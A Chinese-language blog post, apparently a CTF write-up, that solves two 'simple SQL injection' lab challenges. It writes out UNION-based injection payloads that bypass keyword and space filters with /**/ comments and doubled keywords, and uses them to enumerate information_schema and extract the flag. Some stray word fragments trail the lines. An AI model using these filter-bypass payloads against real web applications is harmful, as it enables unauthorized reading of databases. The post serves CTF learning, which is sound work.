接上面一篇博客。web
实验吧简单的sql注入1sql
题目链接 http://ctf5.shiyanbar.com/423/web/测试
一样,直接输入 1加个但引号,结果下面有返回错误, , 有错,因此估计这里应该是要闭合,字符行注入,可是这个标题,到底过滤了什么,目前我还不知道过滤了什么,因此先搞一下。。ui
输入 1' and 1=1# 按理说应该是返回正常,结果返回了一个错误 3d
‘#‘ 被过滤了,那好 还有其余姿式,输入 1’ and '1'='1orm
结果也错,怎么回事? 换or试一试 用 1’ or '1'='1blog
出现全部数据,可是and不行,因此估计是and被过滤了 看看是否是被过滤了 双写一下 1' andand '1'='1博客
输入两个and 结果只出现一个and ,肯定and是被过滤了,并且后面那个空格也过滤了io
没事,这里想到用/**/绕过过滤,用uniontable
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
说老实话我不知道为何这里的database()用不起,大神指点一下.
接下来爆代表
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
获得表名 flag
接下来爆字段名
1'/**/union/**/select/**/column_name/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag
可是不行 被报错
把information_schema.coluinformation_schema.columnsmns 给我过滤了,这里用双写,可是双写发现也会被过滤,能够啊,那我把一部分写在中间
1'/**/union/**/select/**/column_name/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag
结果仍是报错,多是起那面column_name也过滤了 ,这里把column_name也双写
1'/**/union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag
这里出现字段名flag。
接下来直接 1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
拿到flag
第二道题 用前两句同样能够拿到库名和代表,只是第三句爆字段名的时候不用双写
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag
也能够拿到代表和字段名 也是flag 和flag
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
也能够拿到答案
关于简单的sql注入3,我暂时还不会,fuzz测试还没学会,过两天会更新,必定会学会